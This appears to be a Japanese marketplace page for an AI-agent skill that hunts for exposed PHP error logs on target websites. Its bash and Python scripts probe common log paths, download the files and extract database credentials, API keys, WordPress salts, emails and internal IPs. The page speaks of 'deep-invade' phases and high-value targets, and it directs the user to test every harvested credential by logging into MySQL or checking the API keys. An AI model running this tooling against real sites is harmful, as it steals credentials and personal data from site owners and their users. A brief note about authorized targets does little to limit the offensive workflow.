mcpField
E
error-log-mining

error-log-mining

github.com/uphiagoセキュリティ1.3k41 回インストール8 週間前に更新
リポジトリ

error-log-mining について

セキュリティテスター向けに、公開状態の PHP error_log を発見・分析するスキルです。有界サンプリングと内容の検証により、サーバーパスやデータベースエラーなどの機微情報候補を抽出します。

主な機能

  1. 01一般的なエラーログパスの調査
  2. 02大容量ログの範囲指定サンプリング
  3. 03パス、メール、キー候補の抽出
  4. 04SQL 断片と PHP エラーの識別
  5. 05ログの発見事項の照合

活用シーン

  1. 01許可された対象の公開ログを評価
  2. 02ログからサーバーとデータベースの手掛かりを抽出
  3. 03認証情報や個人情報の候補を確認

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/uphiago/recon-skills --skill error-log-mining

インストール後、Claude Code で/error-log-miningを入力して読み込まれたか確認します。

同梱ファイルscripts/mine_error_log.py

詳細

エラーログマイニングスキル

公開されている PHP error_log ファイルを見つけて分析し、サーバーパス、データベースエラー、SQL の断片、API キー候補、メールアドレス、内部アドレスを調べます。上限を設けたサンプルを収集し、ファイルサイズやステータスから影響を推測するのではなく、内容の機密性を検証します。

使用する場面

  • 高価値ターゲットで deep-invade Phase 2 を実行する場合。
  • skill_view(name='source-leak-hunt') で HTTP 200 を返す error_log ファイルが見つかった場合。
  • ターゲットが PHP(WordPress、Laravel、カスタム PHP)を使用しており、display_errors が有効になっている可能性がある場合。
  • エクスプロイトを試みる前に、サーバー側のコンテキスト(パス、DB 構造)が必要な場合。

前提条件

  • curl、grep、python3 を備えた terminal。
  • 一般的なパスに error_log が存在する可能性のあるターゲット URL。
  • ディスク容量:エラーログは数 GB に達する場合があります。大きなファイルには curl -r を使用してください。

実行方法

TARGET="https://example.com"

# Paths to probe
for path in "error_log" "wp-content/debug.log" "debug.log" "errors.log" \
  "php_errors.log" "wp-content/error.log" "logs/error.log"; do
  code=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 5 --connect-timeout 5 "$TARGET/$path")
  [[ "$code" == "200" ]] && echo "FOUND: $TARGET/$path"
done

# Download and analyze
curl --max-time 30 --connect-timeout 10 -sk "$TARGET/error_log" -o error_log.txt
python3 analyze_log.py error_log.txt

クイックリファレンス

抽出対象Python 正規表現値
サーバーパスre.findall(r'/home/[^\s:)]+', txt)ディレクトリ構造全体
メールアドレスre.findall(r'[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}', txt)管理者のメールアドレス
DB 認証情報DB_USER[^=]*=[\s'\"]*([^'\";\s]+) DB_PASSWORD[^=]*=[\s'\"]*([^'\";\s]+) DB_HOST[^=]*=[\s'\"]*([^'\";\s]+) DB_NAME[^=]*=[\s'\"]*([^'\";\s]+)データベースアクセス
API キーsk-[a-zA-Z0-9]{20,60} AIza[0-9A-Za-z_-]{35} AKIA[0-9A-Z]{16} eyJ[a-zA-Z0-9_-]{10,}\.[a-zA-Z0-9_-]{10,}\.[a-zA-Z0-9_-]{10,}Stripe、Google、AWS、JWT
SQL クエリ(?:SELECT|INSERT|UPDATE|DELETE|CREATE TABLE|ALTER TABLE)[^;]{0,300}DB スキーマ、テーブル名
WordPress ソルト(?:AUTH_KEY|SECURE_AUTH_KEY|LOGGED_IN_KEY|NONCE_KEY|AUTH_SALT|SECURE_AUTH_SALT|LOGGED_IN_SALT|NONCE_SALT)[^,;]+セッションハイジャックの可能性
PHP エラーの種類Counter(re.findall(r'PHP\s+\w+:', txt)).most_common(10)エラーの内訳
日付範囲re.findall(r'\[(\d{2}-\w{3}-\d{4})', txt)ログの新しさ

手順

ステップ 1 — エラーログの場所を特定する
TARGET="$1"
OUTDIR="$OUTDIR/error_logs/$TARGET"
mkdir -p "$OUTDIR"

echo "[*] Probing common error log paths on $TARGET..."

ERROR_LOG_PATHS=(
  "error_log"
  "wp-content/debug.log"
  "debug.log"
  "errors.log"
  "php_errors.log"
  "wp-content/error.log"
  "logs/error.log"
  "log/error.log"
  "tmp/php-errors.log"
  "wp-content/plugins/debug.log"
  "wp-content/themes/debug.log"
)

FOUND_LOGS=()

for path in "${ERROR_LOG_PATHS[@]}"; do
  code=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 5 --connect-timeout 5 "https://$TARGET/$path" 2>/dev/null)

  if [[ "$code" == "200" ]]; then
    # Quick content check to avoid SPA false positives
    sample=$(curl -sk --max-time 5 --connect-timeout 5 -r 0-500 "https://$TARGET/$path" 2>/dev/null)
    if echo "$sample" | grep -qiE 'PHP|Error|Warning|Stack trace|\[[0-9]{2}-[A-Za-z]{3}-[0-9]{4}'; then
      echo "[FOUND] https://$TARGET/$path"
      FOUND_LOGS+=("https://$TARGET/$path")
    fi
  fi
  sleep 0.3
done

echo "[+] Found ${#FOUND_LOGS[@]} error log(s)"
ステップ 2 — 大きなログをダウンロードしてサンプルを取得する
TARGET="$1"
OUTDIR="$OUTDIR/error_logs/$TARGET"

for url in "${FOUND_LOGS[@]}"; do
  fname=$(echo "$url" | sed 's|https\?://||' | sed 's|/|_|g')

  echo "[*] Downloading $url..."

  # First, check file size
  size=$(curl -skI --max-time 10 --connect-timeout 10 "$url" 2>/dev/null | grep -i "content-length" | awk '{print $2}' | tr -d '\r')

  if [[ -n "$size" && "$size" -gt 10000000 ]]; then
    echo "  Large file (${size} bytes) — sampling first 5MB..."
    curl -sk --max-time 30 --connect-timeout 10 -r 0-5000000 "$url" -o "$OUTDIR/${fname}_sample.txt" 2>/dev/null
  elif [[ -n "$size" && "$size" -gt 1000000 ]]; then
    echo "  Medium file (${size} bytes) — downloading full..."
    curl -sk --max-time 30 --connect-timeout 10 "$url" -o "$OUTDIR/${fname}.txt" 2>/dev/null
  else
    echo "  Small file — downloading full..."
    curl -sk --max-time 15 --connect-timeout 10 "$url" -o "$OUTDIR/${fname}.txt" 2>/dev/null
  fi
  sleep 0.5
done
ステップ 3 — 情報を抽出する
TARGET="$1"
OUTDIR="$OUTDIR/error_logs/$TARGET"

for logfile in "$OUTDIR"/*.txt "$OUTDIR"/*_sample.txt; do
  [[ ! -f "$logfile" ]] && continue

  echo ""
  echo "═══════════ $(basename "$logfile") ═══════════"
  echo ""

  # 1. Server Paths
  echo "[SERVER PATHS]"
  grep -Eo '(/[a-zA-Z0-9_/.-]+\.php)' "$logfile" 2>/dev/null | sort -u | head -20

  # 2. Email Addresses
  echo ""
  echo "[EMAIL ADDRESSES]"
  grep -Eo '[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}' "$logfile" 2>/dev/null | sort -u | head -15

  # 3. Database Credentials
  echo ""
  echo "[DB CREDENTIALS & CONNECTIONS]"
  grep -iE 'mysql_connect|mysqli_connect|new PDO|pg_connect|DB_HOST|DB_USER|DB_PASSWORD|DB_NAME|database.*password|dsn.*mysql' "$logfile" 2>/dev/null | head -10

  # 4. SQL Queries
  echo ""
  echo "[SQL QUERIES]"
  grep -iE '(SELECT|INSERT|UPDATE|DELETE|CREATE TABLE|ALTER TABLE|DROP TABLE).*(FROM|INTO|SET)' "$logfile" 2>/dev/null | head -10

  # 5. API Keys & Tokens
  echo ""
  echo "[API KEYS & TOKENS]"
  grep -iE 'api[_-]?key|api[_-]?secret|access[_-]?token|auth[_-]?token|bearer [A-Za-z0-9_\-]{20,}|sk-[A-Za-z0-9]{20,}|key=[A-Za-z0-9]{20,}' "$logfile" 2>/dev/null | head -10

  # 6. Internal IPs
  echo ""
  echo "[INTERNAL IPs]"
  grep -Eo '(?:10\.|172\.(?:1[6-9]|2[0-9]|3[01])\.|192\.168\.)\d{1,3}\.\d{1,3}' "$logfile" 2>/dev/null | sort -u | head -10

  # 7. WordPress specific
  echo ""
  echo "[WORDPRESS PATHS]"
  grep -Eo '/wp-content/(?:plugins|themes|uploads)/[a-zA-Z0-9_/.-]+' "$logfile" 2>/dev/null | sort -u | head -15

  # 8. PHP Error Summary
  echo ""
  echo "[ERROR SUMMARY]"
  echo "  Fatal errors:    $(grep -ci 'Fatal error' "$logfile" 2>/dev/null || echo 0)"
  echo "  Warnings:        $(grep -ci 'Warning' "$logfile" 2>/dev/null || echo 0)"
  echo "  Notices:         $(grep -ci 'Notice' "$logfile" 2>/dev/null || echo 0)"
  echo "  Parse errors:    $(grep -ci 'Parse error' "$logfile" 2>/dev/null || echo 0)"
  echo "  Deprecated:      $(grep -ci 'Deprecated' "$logfile" 2>/dev/null || echo 0)"
  echo "  Stack traces:    $(grep -ci 'Stack trace' "$logfile" 2>/dev/null || echo 0)"

  # 9. Date Range
  echo ""
  echo "[DATE RANGE]"
  first=$(grep -Eo '\[[0-9]{2}-[A-Za-z]{3}-[0-9]{4} [0-9]{2}:[0-9]{2}:[0-9]{2}[^\]]*\]' "$logfile" 2>/dev/null | head -1)
  last=$(grep -Eo '\[[0-9]{2}-[A-Za-z]{3}-[0-9]{4} [0-9]{2}:[0-9]{2}:[0-9]{2}[^\]]*\]' "$logfile" 2>/dev/null | tail -1)
  [[ -n "$first" ]] && echo "  First: $first"
  [[ -n "$last" ]] && echo "  Last:  $last"

  # 10. Plugin/Theme Names from Paths
  echo ""
  echo "[PLUGINS FROM ERRORS]"
  grep -Eo '/wp-content/plugins/\K[a-zA-Z0-9_-]+' "$logfile" 2>/dev/null | sort -u | head -20

  echo ""
  echo "[THEMES FROM ERRORS]"
  grep -Eo '/wp-content/themes/\K[a-zA-Z0-9_-]+' "$logfile" 2>/dev/null | sort -u | head -10
  sleep 0.3
done
ステップ 4 — 実行に役立つ情報を抽出する
TARGET="$1"
OUTDIR="$OUTDIR/error_logs/$TARGET"
SUMMARY="$OUTDIR/intel_summary.md"

cat > "$SUMMARY" << EOF
# Error Log Intelligence — $TARGET

## Credentials Found
EOF

for logfile in "$OUTDIR"/*.txt "$OUTDIR"/*_sample.txt; do
  [[ ! -f "$logfile" ]] && continue

  # DB credentials
  grep -iE 'DB_HOST|DB_USER|DB_PASSWORD|DB_NAME' "$logfile" 2>/dev/null | while read -r line; do
    echo "- $line" >> "$SUMMARY"
  done

  # API keys
  grep -iE 'api[_-]?key.*=|api[_-]?secret.*=|access[_-]?token.*=' "$logfile" 2>/dev/null | while read -r line; do
    echo "- $line" >> "$SUMMARY"
  done
done

echo "" >> "$SUMMARY"
echo "## Server Paths" >> "$SUMMARY"
grep -Eo '/[a-zA-Z0-9_/.-]+\.php' "$OUTDIR"/*.txt 2>/dev/null | sort -u | head -30 | while read -r line; do
  echo "- $line" >> "$SUMMARY"
done

echo "" >> "$SUMMARY"
echo "## Email Addresses" >> "$SUMMARY"
grep -Eo '[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}' "$OUTDIR"/*.txt 2>/dev/null | sort -u | while read -r line; do
  echo "- $line" >> "$SUMMARY"
done

echo "" >> "$SUMMARY"
echo "## Plugins Discovered" >> "$SUMMARY"
grep -Eo '/wp-content/plugins/\K[a-zA-Z0-9_-]+' "$OUTDIR"/*.txt 2>/dev/null | sort -u | while read -r line; do
  echo "- $line" >> "$SUMMARY"
done

echo ""
echo "[+] Intelligence summary saved to $SUMMARY"
ステップ 5 — 他の調査結果と照合する
# Does error log reveal the DB name? Cross-ref with wp-config leak
DB_NAME=$(grep -Eo 'DB_NAME["\x27\s:=]+["\x27][a-zA-Z0-9_]+' $OUTDIR/error_logs/*/intel_summary.md 2>/dev/null)
echo "DB name from logs: $DB_NAME"

# Does it reveal internal hostnames?
HOSTNAMES=$(grep -Eo '(?:[a-zA-Z0-9-]+\.(?:internal|local|lan|corp|priv))' $OUTDIR/error_logs/*/*.txt 2>/dev/null | sort -u)
[[ -n "$HOSTNAMES" ]] && echo "Internal hostnames:" && echo "$HOSTNAMES"

# Are there file inclusion paths that indicate LFI potential?
LFI_PATHS=$(grep -Eo '(?:include|require|include_once|require_once)\s*\(\s*[\x27"]([^\x27"]+\.php)' $OUTDIR/error_logs/*/*.txt 2>/dev/null | sort -u)
[[ -n "$LFI_PATHS" ]] && echo "Potential LFI paths:" && echo "$LFI_PATHS"

上限付きログマイナー

import re
from collections import Counter

def mine_error_log(txt):
    results = {}

    # Server paths
    results['paths'] = sorted(set(re.findall(r'/home/[^\s:)]+', txt)))[:20]

    # Email addresses
    results['emails'] = sorted(set(re.findall(r'[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}', txt)))[:20]

    # DB credentials (4 patterns extracted from php error context)
    db_creds = set()
    for pat in [r"DB_USER[^=]*=[\s'\"]*([^'\";\s]+)",
                r"DB_PASSWORD[^=]*=[\s'\"]*([^'\";\s]+)",
                r"DB_HOST[^=]*=[\s'\"]*([^'\";\s]+)",
                r"DB_NAME[^=]*=[\s'\"]*([^'\";\s]+)"]:
        for m in re.findall(pat, txt): db_creds.add(m)
    results['db_creds'] = sorted(db_creds)

    # API keys (5 pattern classes — all extracted from error context)
    api_keys = set()
    for pat in [r'sk-[a-zA-Z0-9]{20,60}',           # Stripe
                r'AIza[0-9A-Za-z_-]{35}',            # Google
                r'AKIA[0-9A-Z]{16}',                  # AWS IAM
                r'pk_[a-zA-Z0-9]+',                   # Publishable keys
                r'eyJ[a-zA-Z0-9_-]{10,}\.[a-zA-Z0-9_-]{10,}\.[a-zA-Z0-9_-]{10,}']:  # JWT
        for m in re.findall(pat, txt): api_keys.add(m)
    results['api_keys'] = sorted(api_keys)[:10]

    # SQL queries
    results['sql_queries'] = re.findall(
        r'(?:SELECT|INSERT|UPDATE|DELETE|CREATE TABLE|ALTER TABLE)[^;]{0,300}',
        txt, re.I)[:10]

    # WordPress salts (session hijack potential)
    results['wp_salts'] = re.findall(
        r"(?:AUTH_KEY|SECURE_AUTH_KEY|LOGGED_IN_KEY|NONCE_KEY|AUTH_SALT|SECURE_AUTH_SALT|LOGGED_IN_SALT|NONCE_SALT)[^,;]+",
        txt)

    # Error type breakdown
    results['error_types'] = Counter(re.findall(r'PHP\s+\w+:', txt)).most_common(10)

    # Date range
    dates = re.findall(r'\[(\d{2}-\w{3}-\d{4})', txt)
    if dates:
        results['date_range'] = f"{dates[0]} to {dates[-1]} ({len(set(dates))} unique dates)"

    return results

注意点

  • エラーログは非常に大きい場合があります。 ダウンロード前に Content-Length を確認し、最初のサンプルには curl -r 0-5000000 のような上限付きの範囲を使用してください。
  • ログには PII が含まれる場合があります。 エラーログ内のメールアドレス、IP、ユーザー名は、データ侵害に該当する可能性があります。責任を持って取り扱ってください。
  • ログローテーションによって切り詰められている場合があります。 表示されている error_log には、最近のエントリーしか含まれていない可能性があります。ローテーション済みログ(error_log.1、error_log.old、error_log-YYYYMMDD)を確認してください。
  • 一部のホストは無関係な内容を返します。 /error_log へのアクセスが 200 でも、カスタム 404 ページや SPA のフォールバックページである可能性があります。分析前に、必ず PHP とエラーの種類のパターンが含まれていることを確認してください。
  • 古いログ ≠ 現在の脆弱性。 2013 年のエラーログがあっても、現在のサイトが脆弱だとは限りません。ログの時系列をサーバーの技術スタックと照合してください。

検証

  • 有効なエラーログには、PHP エラーのパターン([date] PHP Warning:、Stack trace:、Fatal error:)が必ず含まれている必要があります。
  • 抽出した認証情報はすべて、有効性をテストする必要があります(MySQL 接続や API キーの検証を試みてください)。
  • サーバーパスは、既知のディレクトリ構造(例:/home/user/public_html/)と一致する必要があります。
  • 報告書には、エラーログの URL、ファイルサイズ、日付範囲、主な調査結果を記録してください。
  • エラーログに含まれる API キーは、ほとんどの場合、本番環境のキーです(制限付きであることが多い JS バンドル内のキーとは異なります)。

コメント